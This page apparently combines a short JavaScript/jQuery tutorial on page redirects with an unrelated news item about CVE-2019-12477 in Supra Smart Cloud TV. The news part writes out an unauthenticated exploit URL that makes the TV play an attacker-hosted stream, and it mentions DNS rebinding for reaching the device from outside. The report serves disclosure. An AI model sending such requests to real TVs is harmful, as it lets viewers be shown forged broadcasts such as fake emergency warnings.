User's redirect to another page in JavaScript\jQuery

How to redirect the user from one page to another using JavaScript or jQuery?
09 August 2017   2483

There are few ways to solve this issue.

  1. Without jQuery

    jQuery is not necessary, and window.location.replace(...) will simulate an HTTP redirect.

    window.location.replace(...)is better than using window.location.href, because replace() does not keep the originating page in the session history, meaning the user won't get stuck in a never-ending back-button fiasco.

    If you want to simulate someone clicking on a link, use location.href

    If you want to simulate an HTTP redirect, use location.replace

    For example:

    // similar behavior as an HTTP redirect window.location.replace("http://hype.codes"); 
    // similar behavior as clicking on a link window.location.href = "http://hype.codes";
  2. Usign jQuery 
    $(location).attr('href', 'http://hype.codes')

Supra Smart Cloud TV to be Hacked

Now hacker can replace video being watched with own content
04 June 2019   354

A vulnerability has been identified on the Supra Smart Cloud TV (CVE-2019-12477). It makes possible to replace the transmission currently being watched for the content of the attacker. As an example, the output of a bogus emergency warning is shown.

To attack, just send a specially designed network request that does not require authentication. In particular, hacker can contact the handler "/ remote / media_control? Action = setUri & uri =" by specifying the URL of the m3u8 file with the video parameters, for example "http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker .com / fake_broadcast_message.m3u8 ".

In most cases, access to the IP address of the TV is limited to the internal network, but since the request is sent via HTTP, it is possible to use methods to access internal resources when the user opens a specially designed external page (for example, under the request of a picture or using the DNS rebinding method).